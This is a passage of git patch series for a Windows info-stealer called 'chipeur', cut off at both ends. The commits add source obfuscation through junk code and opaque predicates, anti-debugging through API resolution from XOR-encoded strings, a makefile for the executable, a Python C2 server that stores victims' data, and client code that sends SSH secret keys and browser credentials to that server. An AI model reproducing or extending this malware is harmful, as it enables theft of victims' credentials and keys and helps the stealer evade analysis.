inside_struct = 0; - srand(time(NULL)); + unsigned int seed; + RAND_bytes((unsigned char*)&seed, sizeof(seed)); + srand(seed); while (fgets(line, sizeof(line), input)) { - // Copy the original line - fprintf(output, "%s", line); + if (strstr(line, "struct ") || strstr(line, "typedef struct")) { + inside_struct = 1; + } + if (strstr(line, "};") && inside_struct) { + inside_struct = 0; + } - // Detect if entering or exiting a function - if (strstr(line, "{")) { + if (strstr(line, "{") && !inside_struct) { inside_function = 1; - obfuscations_in_function = 0; // Reset for each function - has_returned = 0; // Reset for each function + obfuscations_in_function = 0; } - if (strstr(line, "}")) { + if (strstr(line, "}") && !inside_struct) { inside_function = 0; } - // Check if a `return` statement is present - if (inside_function && strstr(line, "return")) { - has_returned = 1; + if (inside_function && strstr(line, "return") && obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { + if (rand() % 100 < JUNK_CODE_PROBABILITY) { + generate_junk_code(output); + obfuscations_in_function++; + } } - // Add obfuscations within existing functions - if (inside_function && !has_returned && strstr(line, ";") && obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { + fputs(line, output); + + if (inside_function && strstr(line, ";") && !strstr(line, "return") && + obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { + if (rand() % 100 < JUNK_CODE_PROBABILITY) { generate_junk_code(output); obfuscations_in_function++; @@ -166,27 +194,21 @@ void insert_obfuscation(const char *file_path) { generate_control_flow(output); obfuscations_in_function++; } - } - - // Add unused functions between function definitions - if (!inside_function && strstr(line, "}") && rand() % 100 < JUNK_CODE_PROBABILITY) { - fprintf(output, "void junk_function_%d() {\n", rand() % 1000); - fprintf(output, " volatile int temp = rand();\n"); - fprintf(output, " temp += %d;\n", rand() % 100); - fprintf(output, " temp *= %d;\n", rand() % 50); - fprintf(output, "}\n\n"); + if (rand() % 100 < OPAQUE_PREDICATE_PROBABILITY) { + generate_control_flow(output); + obfuscations_in_function++; + } } } fclose(input); fclose(output); - // Replace the original file with the obfuscated one if (rename(temp_file, file_path) != 0) { perror("Error replacing source file"); exit(EXIT_FAILURE); } - printf("Obfuscation added to: %s\n", file_path); + printf("Obfuscation successful for: %s\n", file_path); } int main(int argc, char *argv[]) { @@ -197,4 +219,4 @@ int main(int argc, char *argv[]) { insert_obfuscation(argv[1]); return EXIT_SUCCESS; -} +} \ No newline at end of file From 64604655ec9d401a010305abf17febea014a7ce3 Mon Sep 17 00:00:00 2001 From: elyessfaxiano Date: Fri, 14 Feb 2025 15:05:10 +0100 Subject: [PATCH 25/49] petite correction de random --- src/junk_code_inserter.c | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/src/junk_code_inserter.c b/src/junk_code_inserter.c index 04b0fc3..1e057de 100644 --- a/src/junk_code_inserter.c +++ b/src/junk_code_inserter.c @@ -3,10 +3,7 @@ void generate_junk_code(FILE *output) { unsigned int rand_value; - if (RAND_bytes((unsigned char*)&rand_value, sizeof(rand_value)) != 1) { - rand_value = rand(); // Fallback - } - rand_value %= 5; + rand_value = rand() % 5; switch (rand_value) { case 0: { @@ -84,8 +81,7 @@ void generate_junk_code(FILE *output) { void generate_control_flow(FILE *output) { unsigned int rand_value; - RAND_bytes((unsigned char*)&rand_value, sizeof(rand_value)); - rand_value %= 4; + rand_value = rand() % 5; switch (rand_value) { case 0: { @@ -136,6 +132,21 @@ void generate_control_flow(FILE *output) { fprintf(output, " }\n"); break; } + case 4: + { + int label_id = rand() % 1000; + fprintf(output, " void* jmp_table_%d[] = {&&label_%d_A, &&label_%d_B};\n", label_id, label_id, label_id); + fprintf(output, " goto *jmp_table_%d[rand() %% 2];\n", label_id); + fprintf(output, "label_%d_A:\n", label_id); + fprintf(output, " volatile int control_var_%d = rand() %% 100;\n", label_id); + fprintf(output, " control_var_%d ^= (rand() %% 20);\n", label_id); + fprintf(output, " goto end_%d;\n", label_id); + fprintf(output, "label_%d_B:\n", label_id); + fprintf(output, " volatile int alt_var_%d = rand() %% 50;\n", label_id); + fprintf(output, " alt_var_%d += (rand() %% 30);\n", label_id); + fprintf(output, "end_%d:\n", label_id); + } + break; } } From 7a1a3a8a94c23e653f1294e3b347e6f0ee1b35bd Mon Sep 17 00:00:00 2001 From: ErrorTeaPot Date: Fri, 14 Feb 2025 19:02:47 +0100 Subject: [PATCH 26/49] Add dynamic api function resolution with XORED stack string --- include/obfuscation.h | 8 ++++++++ src/chipeur.c | 9 ++++++++- src/obfuscation.c | 16 ++++++++++++++++ 3 files changed, 32 insertions(+), 1 deletion(-) diff --git a/include/obfuscation.h b/include/obfuscation.h index 3888151..1ce34b5 100644 --- a/include/obfuscation.h +++ b/include/obfuscation.h @@ -1,4 +1,5 @@ #include +#include #define XOR_STR(str, size) \ do { \ @@ -13,3 +14,10 @@ (wstr)[i] ^= 42; \ } \ } while (0) + +typedef PVOID(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess, PBOOL pbDebuggerPresent); +typedef struct { + PCheckRemoteDebuggerPresent funcCheckRemoteDebuggerPresent; +} hidden_apis; + +void resolve_apis(hidden_apis apis); diff --git a/src/chipeur.c b/src/chipeur.c index 5ed3cd9..3698760 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -2,8 +2,10 @@ #include #include +#include #include #include +#include #include "chromium.h" #include "find_ssh_key.h" @@ -19,7 +21,12 @@ int main(void) { BOOL isDebuggerPresent = FALSE; HANDLE hProcess = GetCurrentProcess(); - if (CheckRemoteDebuggerPresent(hProcess, &isDebuggerPresent)) { + PCheckRemoteDebuggerPresent func; + hidden_apis apis[] = {func}; + // resolve_apis(apis); type problem + + if (func(hProcess, &isDebuggerPresent)) { + printf("Nice call\n"); if (isDebuggerPresent) { #ifdef DEBUG printf("Un débogueur est détecté sur ce processus.\n"); diff --git a/src/obfuscation.c b/src/obfuscation.c index 54fc1b5..b4b3746 100644 --- a/src/obfuscation.c +++ b/src/obfuscation.c @@ -1,6 +1,7 @@ #include "obfuscation.h" #include +#include #include /** * XOR the given string pointer by xoring each char with 42 @@ -24,3 +25,18 @@ void xor_wstr(wchar_t *wstr, int size) { *wstr++ ^= 42; } } + +void resolve_apis(hidden_apis apis) { + wchar_t kernel_str[] = + L"\x41\x4f\x58\x44\x4f\x46\x19\x18\x04\x4e\x46\x46"; // kernel32.dll + XOR_WSTR(kernel_str, wcslen(kernel_str)); + HMODULE hKernel32 = GetModuleHandleW(kernel_str); + + char checkRemoteDbg_str[] = + "\x69\x42\x4f\x49\x41\x78\x4f\x47\x45\x5e\x4f\x6e\x4f\x48\x5f\x4d\x4d\x4f" + "\x58\x7a\x58\x4f\x59\x4f\x44\x5e"; // CheckRemoteDebuggerPresent + XOR_STR(checkRemoteDbg_str, strlen(checkRemoteDbg_str)); + apis.funcCheckRemoteDebuggerPresent = + (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32, + checkRemoteDbg_str); +} From ac99ce2b61f5b8350c7bd5e58c8976261cc075d1 Mon Sep 17 00:00:00 2001 From: elyessfaxiano Date: Sat, 15 Feb 2025 20:09:16 +0100 Subject: [PATCH 27/49] fixed errors --- include/obfuscation.h | 5 ++--- src/chipeur.c | 39 +++++++++++++++++++++++---------------- src/obfuscation.c | 9 +++++---- 3 files changed, 30 insertions(+), 23 deletions(-) diff --git a/include/obfuscation.h b/include/obfuscation.h index 1ce34b5..db0bc22 100644 --- a/include/obfuscation.h +++ b/include/obfuscation.h @@ -15,9 +15,8 @@ } \ } while (0) -typedef PVOID(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess, PBOOL pbDebuggerPresent); +typedef BOOL(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess, PBOOL pbDebuggerPresent); typedef struct { PCheckRemoteDebuggerPresent funcCheckRemoteDebuggerPresent; } hidden_apis; - -void resolve_apis(hidden_apis apis); +void resolve_apis(hidden_apis *apis); diff --git a/src/chipeur.c b/src/chipeur.c index 3698760..891413e 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -17,32 +17,39 @@ int main(void) { // Allows us to print non-ASCII characters for debug SetConsoleOutputCP(CP_UTF8); #endif + + // Init + hidden_apis apis = {0}; + resolve_apis(&apis); + // Check if a debugger is attached to the process BOOL isDebuggerPresent = FALSE; HANDLE hProcess = GetCurrentProcess(); - PCheckRemoteDebuggerPresent func; - hidden_apis apis[] = {func}; - // resolve_apis(apis); type problem - - if (func(hProcess, &isDebuggerPresent)) { - printf("Nice call\n"); - if (isDebuggerPresent) { + if (apis.funcCheckRemoteDebuggerPresent) { + if (apis.funcCheckRemoteDebuggerPresent(hProcess, &isDebuggerPresent)) { + printf("Nice call\n"); + if (isDebuggerPresent) { +#ifdef DEBUG + printf("Un débogueur est détecté sur ce processus.\n"); +#endif + while (1); + } + else { #ifdef DEBUG - printf("Un débogueur est détecté sur ce processus.\n"); + printf("Aucun débogueur n'est détecté sur ce processus.\n"); #endif - while (1); - } else { + } + } + else { #ifdef DEBUG - printf("Aucun débogueur n'est détecté sur ce processus.\n"); + printf("Erreur lors de l'appel à CheckRemoteDebuggerPresent. Code d'erreur : %lu\n", GetLastError()); #endif } - } else { + } + else { #ifdef DEBUG - printf( - "Erreur lors de l'appel à CheckRemoteDebuggerPresent. Code d'erreur : " - "%lu\n", - GetLastError()); + printf("Erreur: CheckRemoteDebuggerPresent n'a pas été résolu correctement.\n"); #endif } diff --git a/src/obfuscation.c b/src/obfuscation.c index b4b3746..c77b67f 100644 --- a/src/obfuscation.c +++ b/src/obfuscation.c @@ -26,17 +26,18 @@ void xor_wstr(wchar_t *wstr, int size) { } } -void resolve_apis(hidden_apis apis) { +void resolve_apis(hidden_apis *apis) { wchar_t kernel_str[] = L"\x41\x4f\x58\x44\x4f\x46\x19\x18\x04\x4e\x46\x46"; // kernel32.dll XOR_WSTR(kernel_str, wcslen(kernel_str)); + HMODULE hKernel32 = GetModuleHandleW(kernel_str); char checkRemoteDbg_str[] = "\x69\x42\x4f\x49\x41\x78\x4f\x47\x45\x5e\x4f\x6e\x4f\x48\x5f\x4d\x4d\x4f" "\x58\x7a\x58\x4f\x59\x4f\x44\x5e"; // CheckRemoteDebuggerPresent XOR_STR(checkRemoteDbg_str, strlen(checkRemoteDbg_str)); - apis.funcCheckRemoteDebuggerPresent = - (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32, - checkRemoteDbg_str); + + apis->funcCheckRemoteDebuggerPresent = + (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32, checkRemoteDbg_str); } From 6d55cd83d8e3980f39b9e893eb2ddfae55b4a458 Mon Sep 17 00:00:00 2001 From: gznop Date: Sun, 16 Feb 2025 00:30:37 +0100 Subject: [PATCH 28/49] patching c2 server --- makefile | 145 ++++++++++++------------------- server/simple_serv.py | 61 ++++++-------- src/c2.c | 192 +++++++++++------------------------------- 3 files changed, 132 insertions(+), 266 deletions(-) diff --git a/makefile b/makefile index 85ed906..1b76b51 100644 --- a/makefile +++ b/makefile @@ -1,102 +1,67 @@ #Directories used -SRC_DIR = - src / INCLUDE_DIR = - include / OBJ_DIR = - obj / - -#add the object file used here - OBJ_FILES = - $(OBJ_DIR) chipeur.o $(OBJ_DIR) - find_ssh_key.o $(OBJ_DIR) - extract_file.o $(OBJ_DIR) - obfuscation.o $(OBJ_DIR) chromium.o $(OBJ_DIR) - path.o $(OBJ_DIR) logins.o $(OBJ_DIR) - sqlite3.o $(OBJ_DIR) aes.o $(OBJ_DIR) c2.o - - CC = - x86_64 - w64 - mingw32 - gcc CFLAGS = - -g - fPIE - O2 - s - Warray - bounds - Wsequence - - point - Walloc - zero - Wnull - dereference - Wpointer - - arith - Wcast - qual - Wcast - align = - strict - I$(INCLUDE_DIR) +SRC_DIR = src/ +INCLUDE_DIR = include/ +OBJ_DIR = obj/ + +# add the object file used here +OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o $(OBJ_DIR)c2.o + +CC=x86_64-w64-mingw32-gcc +CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-dereference \ + -Wpointer-arith -Wcast-qual -Wcast-align=strict -I$(INCLUDE_DIR) #not needed for now - LDFLAGS = # - Wl, - --strip - all LLIB = -luuid - lole32 - lcrypt32 - lws2_32 - - lkernel32 DEBUG = -DDEBUG +LDFLAGS =# -Wl,--strip-all +LLIB= -luuid -lole32 -lcrypt32 -lws2_32 +DEBUG=-DDEBUG - .PHONY - : all help clean all : chipeur.exe +.PHONY : all help clean +all: chipeur.exe #The following syntax to create object file: -#$(OBJ_DIR) file1.o : $(SRC_DIR) file1.c $(INCLUDE_DIR) \ - hdr_used1.h... $(INCLUDE_DIR) hdr_usedn.h -#$(CC) $(DEBUG) $(CFLAGS) - c $ < -o $ @ +#$(OBJ_DIR) file1.o : $(SRC_DIR) file1.c $(INCLUDE_DIR)\ + hdr_used1.h... $(INCLUDE_DIR)hdr_usedn.h +#$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ #Create the object files - $(OBJ_DIR) chipeur.o - : $(SRC_DIR) chipeur.c $(INCLUDE_DIR) chipeur.h $(INCLUDE_DIR) - find_ssh_key.h $(INCLUDE_DIR) obfuscation.h $(INCLUDE_DIR) - c2.h $(INCLUDE_DIR) logins.h $(INCLUDE_DIR) - path.h $(INCLUDE_DIR) chromium.h - - $(CC) $(DEBUG) - $(CFLAGS) - c $ < -o $ @ - - $(OBJ_DIR) find_ssh_key - .o - : $(SRC_DIR) find_ssh_key.c $(INCLUDE_DIR) find_ssh_key.h $(INCLUDE_DIR) - extract_file.h $(CC) $(DEBUG) - $(CFLAGS) - c $ < -o $ @ - - $(OBJ_DIR) extract_file - .o - : $(SRC_DIR) extract_file.c $(INCLUDE_DIR) extract_file.h $(CC) $(DEBUG) - $(CFLAGS) - c $ < -o $ @ - - $(OBJ_DIR) obfuscation - .o - : $(SRC_DIR) obfuscation.c $(INCLUDE_DIR) obfuscation.h $(CC) $(DEBUG) - $(CFLAGS) - c $ < -o $ @ - - $(OBJ_DIR) chromium - .o - : $(SRC_DIR) chromium.c $(INCLUDE_DIR) chromium.h $(CC) $(DEBUG) - $(CFLAGS) - c $ < -o $ @ - - $(OBJ_DIR) - path.o - : $(SRC_DIR) path.c $(INCLUDE_DIR) path.h $(CC) $(DEBUG) - $(CFLAGS) - c $ < -o $ @ - - $(OBJ_DIR) logins - .o - : $(SRC_DIR) logins.c $(INCLUDE_DIR) logins.h $(CC) $(DEBUG) - $(CFLAGS) - c $ < -o $ @ - - $(OBJ_DIR) sqlite3 - .o - : $(SRC_DIR) sqlite3.c $(INCLUDE_DIR) sqlite3.h $(CC) $(DEBUG) - $(CFLAGS) - c $ < -o $ @ - - $(OBJ_DIR) - aes.o - : $(SRC_DIR) aes.c $(INCLUDE_DIR) aes.h $(CC) $(DEBUG) - $(CFLAGS) - c $ < -o $ @ - - $(OBJ_DIR) - c2.o - : $(SRC_DIR) c2.c $(INCLUDE_DIR) c2.h $(INCLUDE_DIR) obfuscation.h $(CC) - $(DEBUG) $(CFLAGS) - c $ < -o $ @ +$(OBJ_DIR)chipeur.o: $(SRC_DIR)chipeur.c $(INCLUDE_DIR)chipeur.h $(INCLUDE_DIR)find_ssh_key.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + +$(OBJ_DIR)c2.o: $(SRC_DIR)c2.c $(INCLUDE_DIR)c2.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + +$(OBJ_DIR)find_ssh_key.o : $(SRC_DIR)find_ssh_key.c $(INCLUDE_DIR)find_ssh_key.h $(INCLUDE_DIR)extract_file.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + +$(OBJ_DIR)extract_file.o: $(SRC_DIR)extract_file.c $(INCLUDE_DIR)extract_file.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + +$(OBJ_DIR)obfuscation.o: $(SRC_DIR)obfuscation.c $(INCLUDE_DIR)obfuscation.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + +$(OBJ_DIR)chromium.o : $(SRC_DIR)chromium.c $(INCLUDE_DIR)chromium.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + +$(OBJ_DIR)path.o : $(SRC_DIR)path.c $(INCLUDE_DIR)path.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + +$(OBJ_DIR)logins.o : $(SRC_DIR)logins.c $(INCLUDE_DIR)logins.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + +$(OBJ_DIR)sqlite3.o : $(SRC_DIR)sqlite3.c $(INCLUDE_DIR)sqlite3.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + +$(OBJ_DIR)aes.o : $(SRC_DIR)aes.c $(INCLUDE_DIR)aes.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ #make the binary - chipeur.exe - : $(OBJ_FILES) $(CC) $(CFLAGS) $(LDFLAGS) $ ^ -o $ @$(LLIB) +chipeur.exe: $(OBJ_FILES) + $(CC) $(CFLAGS) $(LDFLAGS) $^ -o $@ $(LLIB) - clean - : rm - fv $(OBJ_DIR) * chipeur.exe chipeur +clean: + rm -fv $(OBJ_DIR)* chipeur.exe chipeur - help - : @echo "chipeur:\tto create the binary of the project" @echo - "clean:\tto remove the binary and .o files" @echo - "help:\tto display this help" +help: + @echo "chipeur:\tto create the binary of the project" + @echo "clean:\tto remove the binary and .o files" + @echo "help:\tto display this help" \ No newline at end of file diff --git a/server/simple_serv.py b/server/simple_serv.py index 6f713c8..589031e 100644 --- a/server/simple_serv.py +++ b/server/simple_serv.py @@ -7,19 +7,19 @@ def createpath(username: str, datatype: str): """ create the folder to store the data ./username/datatype """ try : os.mkdir(username) - except FileExistsError: + except FileExistsError: print(f"DEBUG: {username} directory already exists.") - except: - print(f"DEBUG: Error while creating the {username} directory. Abort") - return + # except: + # print(f"DEBUG: Error while creating the {username} directory. Abort") + # return + - path = username + "/" + datatype + path = os.path.join(username,datatype) try : os.mkdir(path) except FileExistsError: print(f"DEBUG: {path} directory already exists.") - path: str = username + "/" + datatype + "/" return path def savefile(username: str, datatype: str, filename: str, client: socket.socket): @@ -28,13 +28,13 @@ def savefile(username: str, datatype: str, filename: str, client: socket.socket) path = createpath(username, datatype) # creating a unique file to avoid overwriting - path = path + str(int(time.time())) + "_" + filename + path = os.path.join(path, str(int(time.time())) + "_" + filename) fic = open(path, "w") - ch = client.recv(9).decode("utf-8") + ch = client.recv(9).decode() # ending condition, chipeur client allways send it while ch[-9:] != "[RUEPIHC]": try: - cur_c = client.recv(1).decode("utf-8") + cur_c = client.recv(1).decode() ch += cur_c except: fic.write(ch) @@ -48,7 +48,7 @@ def savefile(username: str, datatype: str, filename: str, client: socket.socket) def savecreds(username: str, datatype: str, client: socket.socket): """ create and write a file in the directory ./username/file/ """ path = createpath(username, datatype) - path = path + "creds_" + str(int(time.time())) + path = os.path.join(path, "creds_" + str(int(time.time()))) fic = open(path, "w") ch = client.recv(9).decode("utf-8") # ending condition, chipeur client allways send it @@ -66,24 +66,14 @@ def savecreds(username: str, datatype: str, client: socket.socket): fic.close() -def read_until_next_pipe_UTF16(client: socket.socket): +def read_bytes_until_next_pipe(client: socket.socket): """ this function is used to parse the chipeur request and gather the information of the request """ - ch = "" - cur_c = "" - attempt = 0 - while cur_c != "|": - try: - recv = client.recv(2) - cur_c = recv.decode("utf-16") - ch += cur_c - attempt = 0 - except UnicodeDecodeError: - print("DEBUG: read_until_next_pipe_UTF16: UnicodeDecodeError: skipping") - time.sleep(2) - attempt += 1 - if attempt == 3: - print("DEBUG: read_until_next_pipe_UTF16: 3rd time reading fails: exiting") - raise TimeoutError + ch = b"" + cur_c = b"" + while cur_c != b"|": + cur_c = client.recv(1) + ch += cur_c + # we return the data before the pipe return ch[:-1] @@ -92,24 +82,29 @@ def handle_client(client_socket, addr): try: while True: # should read [CHIPEUR] - chipeur = read_until_next_pipe_UTF16(client_socket) + chipeur = read_bytes_until_next_pipe(client_socket).decode("utf-8") + print(chipeur) if "[CHIPEUR]" not in chipeur: client_socket.close() break - - username = read_until_next_pipe_UTF16(client_socket) + + username = read_bytes_until_next_pipe(client_socket)[:-1].decode("utf-16-be") + print(username) - datatype = read_until_next_pipe_UTF16(client_socket) + datatype = read_bytes_until_next_pipe(client_socket).decode("utf-8") + print(datatype) # only two datatypes possible if datatype == "file": - filename = read_until_next_pipe_UTF16(client_socket) + filename = read_bytes_until_next_pipe(client_socket)[:-1].decode("utf-16-be") + print(filename) savefile(username, datatype, filename, client_socket) if datatype == "credentials": savecreds(username, datatype, client_socket) - + except UnicodeDecodeError as error: + print(f"DEBUG: Connection closed: {error}") except ConnectionResetError as error: print(f"DEBUG: Connection closed: {error}") except TimeoutError as error: diff --git a/src/c2.c b/src/c2.c index 4833777..2428c46 100644 --- a/src/c2.c +++ b/src/c2.c @@ -75,16 +75,16 @@ static BOOL close_c2_conn(SOCKET *sock) { return TRUE; } -static PWSTR get_header(void) { - // [CHIPEUR] + 'username@machinename' is the header of a message to the C2 +static PWSTR get_username_machinename(void) { + // 'username@machinename' is the header of a message to the C2 // the caller shall free the PWSTR returned int err; WCHAR machineName[MAX_COMPUTERNAME_LENGTH + 1] = {0}; DWORD lenMachineName = MAX_COMPUTERNAME_LENGTH + 1; WCHAR userName[UNLEN + 1] = {0}; DWORD lenUserName = UNLEN + 1; - WCHAR fullName[UNLEN + MAX_COMPUTERNAME_LENGTH + 1 + 12] = {0}; - DWORD lenFullName = UNLEN + MAX_COMPUTERNAME_LENGTH + 1 + 12; + WCHAR fullName[UNLEN + MAX_COMPUTERNAME_LENGTH + 1 + 1] = {0}; + DWORD lenFullName = UNLEN + MAX_COMPUTERNAME_LENGTH + 1 + 1; err = GetComputerNameW(machineName, &lenMachineName); if (err == 0) { @@ -102,8 +102,8 @@ static PWSTR get_header(void) { } // computing the full header - int realSize = _snwprintf(fullName, lenFullName, L"[CHIPEUR]|%ls@%ls|", - userName, machineName); + int realSize = + _snwprintf(fullName, lenFullName, L"%ls@%ls", userName, machineName); if (realSize == -1) { #ifdef DEBUG fprintf(stderr, @@ -175,160 +175,73 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, the following : [CHIPEUR]|@|file||[RUEPIHC] */ - PWSTR header = get_header(); - PWSTR datatype = L"file|"; + PWSTR userMachineName = get_username_machinename(); + char datatype[] = "|file|"; - PWSTR headTypeFname; - size_t lenHeadTypeFname = 0; BOOL success = TRUE; for (DWORD32 i = 0; i < lenKeysTab; i++) { // Checking first if the file is readable if (is_readable(keysTab[i].publicKeyPath)) { - // Creating the full header with the datatype and the public key filename - lenHeadTypeFname = wcslen(header) + wcslen(keysTab[i].publicKeyPath) + 6; - headTypeFname = malloc(sizeof(WCHAR) * (lenHeadTypeFname + 1)); - if (headTypeFname == NULL) { + int err = send(*sock, "[CHIPEUR]|", 11, 0); + err = err | send(*sock, (char *)userMachineName, + wcslen(userMachineName) * 2, 0); + err = err | send(*sock, datatype, 7, 0); + err = err | send(*sock, (char *)keysTab[i].publicKeyPath, + wcslen(keysTab[i].publicKeyPath) * 2, 0); + err = err | send(*sock, "|", 1, 0); + success = send_file(keysTab[i].publicKeyPath, sock); + err = err | send(*sock, "[RUEPIHC]\n", 10, 0); + + if (err == SOCKET_ERROR && !success) { #ifdef DEBUG fwprintf( stderr, - L"DEBUG: send_ssh_key: Error, couldn't allocate the full header\n"); -#endif - free(header); - return FALSE; - } - - headTypeFname[lenHeadTypeFname] = L'\0'; - _snwprintf(headTypeFname, lenHeadTypeFname, L"%ls%ls%ls|", header, - datatype, keysTab[i].publicKeyPath); - int err = send(*sock, (char *)headTypeFname, - sizeof(WCHAR) * lenHeadTypeFname, 0); - wprintf(L"headtypefname = %ls\n", headTypeFname); - if (err == SOCKET_ERROR) { -#ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send header: %d\n", - GetLastError()); -#endif - free(headTypeFname); - free(header); - return FALSE; - } - // sending the ssh public key - if (send_file(keysTab[i].publicKeyPath, sock) == FALSE) { -#ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", - keysTab[i].publicKeyPath); -#endif - success = FALSE; - } - // sending the tail of the request - err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); - if (err == SOCKET_ERROR) { -#ifdef DEBUG - fwprintf(stderr, - L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", - GetLastError()); + L"DEBUG: send_ssh_key: error while sending '%ls' file: code %d", + keysTab[i].publicKeyPath, GetLastError()); #endif - free(headTypeFname); - free(header); + free(userMachineName); return FALSE; } -#ifdef DEBUG - wprintf(L"DEBUG: send_ssh_keys: File '%ls' sent with success\n", - keysTab[i].publicKeyPath); -#endif - free(headTypeFname); } // Doing the same but for the secret key filename if (is_readable(keysTab[i].secretKeyPath)) { - lenHeadTypeFname = wcslen(header) + wcslen(keysTab[i].secretKeyPath) + 6; - headTypeFname = malloc(sizeof(WCHAR) * (lenHeadTypeFname + 1)); - if (headTypeFname == NULL) { + int err = send(*sock, "[CHIPEUR]|", 11, 0); + err = err | send(*sock, (char *)userMachineName, + wcslen(userMachineName) * 2, 0); + err = err | send(*sock, datatype, 7, 0); + err = err | send(*sock, (char *)keysTab[i].secretKeyPath, + wcslen(keysTab[i].secretKeyPath) * 2, 0); + err = err | send(*sock, "|", 1, 0); + success = send_file(keysTab[i].secretKeyPath, sock); + err = err | send(*sock, "[RUEPIHC]\n", 10, 0); + + if (err == SOCKET_ERROR && !success) { #ifdef DEBUG fwprintf( stderr, - L"DEBUG: send_ssh_key: Error, couldn't allocate the full header\n"); -#endif - free(header); - return FALSE; - } - - headTypeFname[lenHeadTypeFname] = L'\0'; - _snwprintf(headTypeFname, lenHeadTypeFname, L"%ls%ls%ls|", header, - datatype, keysTab[i].secretKeyPath); - int err = send(*sock, (char *)headTypeFname, - sizeof(WCHAR) * lenHeadTypeFname, 0); - if (err == SOCKET_ERROR) { -#ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send header: %d\n", - GetLastError()); -#endif - free(headTypeFname); - free(header); - return FALSE; - } - // sending the ssh secret file - if (send_file(keysTab[i].secretKeyPath, sock) == FALSE) { -#ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", - keysTab[i].secretKeyPath); -#endif - success = FALSE; - } - // senfing the tail of the request - err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); - if (err == SOCKET_ERROR) { -#ifdef DEBUG - fwprintf(stderr, - L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", - GetLastError()); + L"DEBUG: send_ssh_key: error while sending '%ls' file: code %d", + keysTab[i].secretKeyPath, GetLastError()); #endif - free(headTypeFname); - free(header); + free(userMachineName); return FALSE; } -#ifdef DEBUG - wprintf(L"DEBUG: send_ssh_keys: File '%ls' sent with success\n", - keysTab[i].secretKeyPath); -#endif - free(headTypeFname); } } - free(header); + free(userMachineName); return success; } BOOL send_credentials(SOCKET *sock, Credential *credTab, DWORD32 lenCredTab) { // Function that send the credentials to the c2 server // [CHIPEUR]|@|credentials|url1,username1,password1\n...\nurlN,usernameN,passwordN[RUEPIHC] - PWSTR header = get_header(); - size_t lenHeader = wcslen(header); - PWSTR datatype = L"credentials|"; - size_t lenHeadType = lenHeader + 13 + 1; - PWSTR headType = malloc(sizeof(WCHAR) * lenHeadType); - if (headType == NULL) { -#ifdef DEBUG - fprintf(stderr, - "DEBUG: send_credentials: Error, couldn't allocate the headType"); -#endif - free(header); - return FALSE; - } - - // sending the header - _snwprintf(headType, lenHeadType, L"%ls%ls", header, datatype); - free(header); - int err = send(*sock, (char *)headType, lenHeadType * 2, 0); - if (err == SOCKET_ERROR) { -#ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send header: %d\n", - GetLastError()); -#endif - free(headType); - } - free(headType); + PWSTR userMachineName = get_username_machinename(); + char datatype[] = "|credentials|"; + int err = send(*sock, "[CHIPEUR]|", 11, 0); + err = err | + send(*sock, (char *)userMachineName, wcslen(userMachineName) * 2, 0); + err = err | send(*sock, datatype, 14, 0); - // sending the credentials for (DWORD i = 0; i < lenCredTab; i++) { char *credToSend = NULL; DWORD32 lenCredToSend = strlen(credTab[i].url) + @@ -347,26 +260,19 @@ BOOL send_credentials(SOCKET *sock, Credential *credTab, DWORD32 lenCredTab) { snprintf(credToSend, lenCredToSend, "%s,%s,%s\n", credTab[i].url, credTab[i].username, credTab[i].password); - err = send(*sock, credToSend, lenCredToSend, 0); + err = err | send(*sock, credToSend, lenCredToSend, 0); free(credToSend); - if (err == SOCKET_ERROR) { -#ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send header: %d\n", - GetLastError()); -#endif - break; - } } // sending the tail of the request - err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); + err = send(*sock, "[RUEPIHC]\n", 11, 0); if (err == SOCKET_ERROR) { #ifdef DEBUG - fwprintf(stderr, - L"DEBUG: send_credentials: Couldn't send end of request: %d\n", - GetLastError()); -#endif + fprintf(stderr, + "DEBUG: send_credentials: Error while sending the credentials: %d", + GetLastError()); return FALSE; +#endif } #ifdef DEBUG printf("DEBUG: send_credentials: Credentials sent successfully\n"); From 1789f818bb21518d1616f7b6b76fc2ac4b3f7043 Mon Sep 17 